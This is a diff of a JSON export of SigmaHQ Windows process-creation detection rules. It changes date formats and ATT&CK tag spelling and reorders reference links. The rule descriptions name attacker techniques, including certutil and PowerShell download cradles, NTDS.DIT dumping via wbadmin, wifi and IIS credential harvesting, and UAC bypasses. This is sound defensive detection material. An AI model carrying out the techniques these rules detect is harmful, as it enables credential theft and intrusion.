"creation_date": "2023-02-15", "falsepositive": [ "Unknown" ], @@ -20743,15 +20675,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", - "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", + "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://twitter.com/egre55/status/1087685529016193025", - "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", + "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", + "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -20771,7 +20703,7 @@ "description": "Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location\nAttackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on\nInstead they modify the task after creation to include their malicious payload\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "Unknown" ], @@ -20805,7 +20737,7 @@ "description": "Detects the dump of highly sensitive files such as \"NTDS.DIT\" and \"SECURITY\" hive.\nAttackers can leverage the \"wbadmin\" utility in order to dump sensitive files that might contain credential or sensitive information.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2024/05/10", + "creation_date": "2024-05-10", "falsepositive": [ "Legitimate backup operation by authorized administrators. Matches must be investigated and allowed on a case by case basis." ], @@ -20814,14 +20746,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery", "https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/", - "https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Wbadmin.yml", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery", + "https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Wbadmin.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -20841,7 +20773,7 @@ "description": "Detects execution of \"odbcconf\" where the path of the DLL being registered is located in a potentially suspicious location.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/22", + "creation_date": "2023-05-22", "falsepositive": [ "Unlikely" ], @@ -20850,13 +20782,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", "https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html", "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16", + "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_exec_susp_locations.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.008" ] }, @@ -20876,7 +20808,7 @@ "description": "Detects the use of Replace.exe which can be used to replace file with another file", "meta": { "author": "frack113", - "creation_date": "2022/03/06", + "creation_date": "2022-03-06", "falsepositive": [ "Unknown" ], @@ -20890,7 +20822,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -20910,7 +20842,7 @@ "description": "Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords", "meta": { "author": "Tim Rauch, Janantha Marasinghe, Elastic (original idea)", - "creation_date": "2022/11/08", + "creation_date": "2022-11-08", "falsepositive": [ "Unknown" ], @@ -20920,12 +20852,12 @@ "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html", - "https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA", "https://www.netspi.com/blog/technical/network-penetration-testing/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/", + "https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_service_account_password_dumped.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003" ] }, @@ -20945,7 +20877,7 @@ "description": "Detects a suspicious copy operation that tries to copy a program from system (System32, SysWOW64, WinSxS) directories to another on disk.\nOften used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations.\n", "meta": { "author": "Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/07/03", + "creation_date": "2020-07-03", "falsepositive": [ "Depend on scripts and administrative tools used in the monitored environment (For example an admin scripts like https://www.itexperience.net/sccm-batch-files-and-32-bits-processes-on-64-bits-os/)", "When cmd.exe and xcopy.exe are called directly", @@ -20956,13 +20888,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", "https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/", "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -20982,7 +20914,7 @@ "description": "Detects suspicious msiexec process starts with web addresses as parameter", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/02/09", + "creation_date": "2018-02-09", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], @@ -20995,9 +20927,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.007", - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -21024,7 +20956,7 @@ "description": "Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/02/06", + "creation_date": "2019-02-06", "falsepositive": [ "Execution of tools named GUP.exe and located in folders different than Notepad++\\updater" ], @@ -21037,7 +20969,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_suspicious_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -21057,7 +20989,7 @@ "description": "Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/05", + "creation_date": "2021-05-05", "falsepositive": [ "Unknown" ], @@ -21070,7 +21002,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.discovery", "attack.t1033" ] @@ -21091,7 +21023,7 @@ "description": "Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/14", + "creation_date": "2022-09-14", "falsepositive": [ "Legitimate usage to restore snapshots", "Legitimate admin activity" @@ -21106,7 +21038,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_susp_usage.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -21126,7 +21058,7 @@ "description": "Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI.\nAn example would be a threat actor creating a new user via the net command and providing the password inline\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/14", + "creation_date": "2022-09-14", "falsepositive": [ "Legitimate usage of the passwords by users via commandline (should be discouraged)", "Other currently unknown false positives" @@ -21136,14 +21068,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708", "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708", + "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_weak_or_abused_passwords.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -21154,7 +21086,7 @@ "description": "Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/28", + "creation_date": "2022-02-28", "falsepositive": [ "Software installers that pull packages from remote systems and execute them" ], @@ -21188,7 +21120,7 @@ "description": "Detects file association changes using the builtin \"assoc\" command.\nWhen a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Admin activity" ], @@ -21221,7 +21153,7 @@ "description": "Detects the execution of Rundll32.exe with DLL files masquerading as image files", "meta": { "author": "Hieu Tran", - "creation_date": "2023/03/13", + "creation_date": "2023-03-13", "falsepositive": [ "Unknown" ], @@ -21234,7 +21166,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_execution_with_image_extension.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -21254,7 +21186,7 @@ "description": "Detects usage of \"query.exe\" a system binary to exfil information such as \"sessions\" and \"processes\" for later use", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "Unknown" ], @@ -21277,7 +21209,7 @@ "description": "Detects PowerShell download and execution cradles.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/24", + "creation_date": "2022-03-24", "falsepositive": [ "Some PowerShell installers were seen using similar combinations. Apply filters accordingly" ], @@ -21311,7 +21243,7 @@ "description": "Detects command lines that contain the 'accepteula' flag which could be a sign of execution of one of the Sysinternals tools", "meta": { "author": "Markus Neis", - "creation_date": "2017/08/28", + "creation_date": "2017-08-28", "falsepositive": [ "Legitimate use of SysInternals tools", "Programs that use the same command line flag" @@ -21325,7 +21257,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_eula_accepted.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588.002" ] }, @@ -21345,7 +21277,7 @@ "description": "Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/25", + "creation_date": "2022-07-25", "falsepositive": [ "Other legitimate \"Windows Terminal\" profiles" ], @@ -21354,8 +21286,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/windowsterminalprofile.html", "https://twitter.com/nas_bench/status/1550836225652686848", + "https://persistence-info.github.io/Data/windowsterminalprofile.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml" ], "tags": [ @@ -21370,7 +21302,7 @@ "description": "Detects the use of the PowerShell \"Set-Service\" cmdlet to change the startup type of a service to \"disabled\" or \"manual\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/04", + "creation_date": "2023-03-04", "falsepositive": [ "False positives may occur with troubleshooting scripts" ], @@ -21384,7 +21316,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -21404,7 +21336,7 @@ "description": "Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/27", + "creation_date": "2021-12-27", "falsepositive": [ "Scripts or tools that download attachments from these domains (OneNote, Outlook 365)" ], @@ -21418,7 +21350,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105", "attack.t1608" ] @@ -21446,7 +21378,7 @@ "description": "Detects execution of \"odbcconf\" with the \"-f\" flag in order to load a response file which might contain a malicious action.", "meta": { "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/22", + "creation_date": "2023-05-22", "falsepositive": [ "The rule is looking for any usage of response file, which might generate false positive when this function is used legitimately. Investigate the contents of the \".rsp\" file to determine if it is malicious and apply additional filters if necessary." ], @@ -21455,14 +21387,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16", "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/", - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", + "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_response_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.008" ] }, @@ -21482,7 +21414,7 @@ "description": "Detects usage of wmic to start or stop a service", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Unknown" ], @@ -21515,7 +21447,7 @@ "description": "Detects PowerShell commands that decrypt an \".LNK\" \"file to drop the next stage of the malware.", "meta": { "author": "X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/30", + "creation_date": "2023-06-30", "falsepositive": [ "Unlikely" ], @@ -21538,7 +21470,7 @@ "description": "Detects the use of TruffleSnout.exe an iterative AD discovery toolkit for offensive operators, situational awareness and targeted low noise enumeration.", "meta": { "author": "frack113", - "creation_date": "2022/08/20", + "creation_date": "2022-08-20", "falsepositive": [ "Unknown" ], @@ -21573,7 +21505,7 @@ "description": "Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/31", + "creation_date": "2021-08-31", "falsepositive": [ "Unknown" ], @@ -21586,8 +21518,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_computerdefaults.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -21607,7 +21539,7 @@ "description": "Detects potentially suspicious child processes launched via the ScreenConnect client service.\n", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), @Kostastsale", - "creation_date": "2022/02/25", + "creation_date": "2022-02-25", "falsepositive": [ "If the script being executed make use of any of the utilities mentioned in the detection then they should filtered out or allowed." ], @@ -21616,14 +21548,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode", - "https://www.trendmicro.com/en_us/research/24/b/threat-actor-groups-including-black-basta-are-exploiting-recent-.html", "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708", "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode", + "https://www.trendmicro.com/en_us/research/24/b/threat-actor-groups-including-black-basta-are-exploiting-recent-.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_remote_execution_susp.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -21643,7 +21575,7 @@ "description": "Detects PowerShell scripts to set the ACL to a file in the Windows folder", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/18", + "creation_date": "2022-10-18", "falsepositive": [ "Unknown" ], @@ -21652,12 +21584,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1", + "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl_susp_location.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "0944e002-e3f6-4eb5-bf69-3a3067b53d73", @@ -21667,7 +21599,7 @@ "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", "meta": { "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/20", + "creation_date": "2022-08-20", "falsepositive": [ "Legitimate use of Pester for writing tests for Powershell scripts and modules" ], @@ -21683,7 +21615,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -21710,7 +21642,7 @@ "description": "Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry", "meta": { "author": "Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Unknown" ], @@ -21723,7 +21655,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_priv_reg_or_ps.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -21743,7 +21675,7 @@ "description": "Detects inline execution of PowerShell code from a file", "meta": { "author": "frack113", - "creation_date": "2022/12/25", + "creation_date": "2022-12-25", "falsepositive": [ "Unknown" ], @@ -21776,7 +21708,7 @@ "description": "Detects non-interactive PowerShell activity by looking at the \"powershell\" process with a non-user GUI process such as \"explorer.exe\" as a parent.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements)", - "creation_date": "2019/09/12", + "creation_date": "2019-09-12", "falsepositive": [ "Likely. Many admin scripts and tools leverage PowerShell in their BAT or VB scripts which may trigger this rule often. It is best to add additional filters or use this to hunt for anomalies" ], @@ -21809,7 +21741,7 @@ "description": "Detects nltest commands that can be used for information discovery", "meta": { "author": "Arun Chauhan", - "creation_date": "2023/02/03", + "creation_date": "2023-02-03", "falsepositive": [ "Legitimate administration activity" ], @@ -21858,7 +21790,7 @@ "description": "Identifies the creation of local users via the net.exe command.", "meta": { "author": "Endgame, JHasenbusch (adapted to Sigma for oscd.community)", - "creation_date": "2018/10/30", + "creation_date": "2018-10-30", "falsepositive": [ "Legitimate user creation.", "Better use event IDs for user creation rather than command line rules." @@ -21893,7 +21825,7 @@ "description": "Detects usage of bitsadmin downloading a file to uncommon target folder", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -21902,14 +21834,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", - "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197", "attack.s0190", @@ -21939,7 +21871,7 @@ "description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27", "meta": { "author": "FPT.EagleEye, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/03/03", + "creation_date": "2021-03-03", "falsepositive": [ "Unknown" ], @@ -21948,9 +21880,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://www.intrinsec.com/apt27-analysis/", - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml" ], "tags": [ @@ -21983,7 +21915,7 @@ "description": "Detect the harvesting of wifi credentials using netsh.exe", "meta": { "author": "Andreas Hunkeler (@Karneades), oscd.community", - "creation_date": "2020/04/20", + "creation_date": "2020-04-20", "falsepositive": [ "Unknown" ], @@ -21997,7 +21929,7 @@ ], "tags": [ "attack.discovery", - "attack.credential_access", + "attack.credential-access", "attack.t1040" ] }, @@ -22017,7 +21949,7 @@ "description": "Detects the use of KrbRelay, a Kerberos relaying tool", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/27", + "creation_date": "2022-04-27", "falsepositive": [ "Unlikely" ], @@ -22030,7 +21962,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelay.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558.003" ] }, @@ -22050,7 +21982,7 @@ "description": "Detects execution of of Dxcap.exe", "meta": { "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Legitimate execution of dxcap.exe by legitimate user" ], @@ -22059,12 +21991,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/", "https://twitter.com/harr0ey/status/992008180904419328", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -22084,7 +22016,7 @@ "description": "Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -22097,8 +22029,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_pkgmgr_dism.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -22118,7 +22050,7 @@ "description": "Detects execution of \"curl.exe\" with the \"file://\" protocol handler in order to read local files.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/27", + "creation_date": "2023-07-27", "falsepositive": [ "Unknown" ], @@ -22141,7 +22073,7 @@ "description": "Detects the execution of Sysinternals ADExplorer with the \"-snapshot\" flag in order to save a local copy of the active directory database.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/14", + "creation_date": "2023-03-14", "falsepositive": [ "Unknown" ], @@ -22154,7 +22086,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_adexplorer_execution.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.001", "attack.t1003.003" ] @@ -22182,7 +22114,7 @@ "description": "Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation", "meta": { "author": "frack113", - "creation_date": "2022/12/27", + "creation_date": "2022-12-27", "falsepositive": [ "Unknown" ], @@ -22195,7 +22127,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_token_obfuscation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.009" ] }, @@ -22215,7 +22147,7 @@ "description": "Detects when adversaries stop services or processes by disabling their respective scheduled tasks in order to conduct data destructive activities", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/26", + "creation_date": "2021-12-26", "falsepositive": [ "Unknown" ], @@ -22250,7 +22182,7 @@ "description": "Detects the creation of a new service using powershell.", "meta": { "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2023/02/20", + "creation_date": "2023-02-20", "falsepositive": [ "Legitimate administrator or user creates a service for legitimate reasons.", "Software installation" @@ -22265,7 +22197,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -22285,7 +22217,7 @@ "description": "Detects the addition of a new LogonScript to the registry value \"UserInitMprLogonScript\" for potential persistence", "meta": { "author": "Tom Ueltschi (@c_APT_ure)", - "creation_date": "2019/01/12", + "creation_date": "2019-01-12", "falsepositive": [ "Legitimate addition of Logon Scripts via the command line by administrators or third party tools" ], @@ -22318,7 +22250,7 @@ "description": "Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service", "meta": { "author": "Elastic (idea), Tobias Michalski (Nextron Systems)", - "creation_date": "2022/05/04", + "creation_date": "2022-05-04", "falsepositive": [ "Unknown" ], @@ -22332,8 +22264,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_ntlmrelay.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.credential_access", + "attack.privilege-escalation", + "attack.credential-access", "attack.t1212" ] }, @@ -22353,7 +22285,7 @@ "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -22366,7 +22298,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_stdin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -22395,7 +22327,7 @@ "description": "Detects potentially suspicious child processes of \"aspnet_compiler.exe\".", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/14", + "creation_date": "2023-08-14", "falsepositive": [ "Unknown" ], @@ -22404,12 +22336,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/", "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/", + "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -22429,7 +22361,7 @@ "description": "Detects RDP session hijacking by using MSTSC shadowing", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/01/24", + "creation_date": "2020-01-24", "falsepositive": [ "Unknown" ], @@ -22443,7 +22375,7 @@ 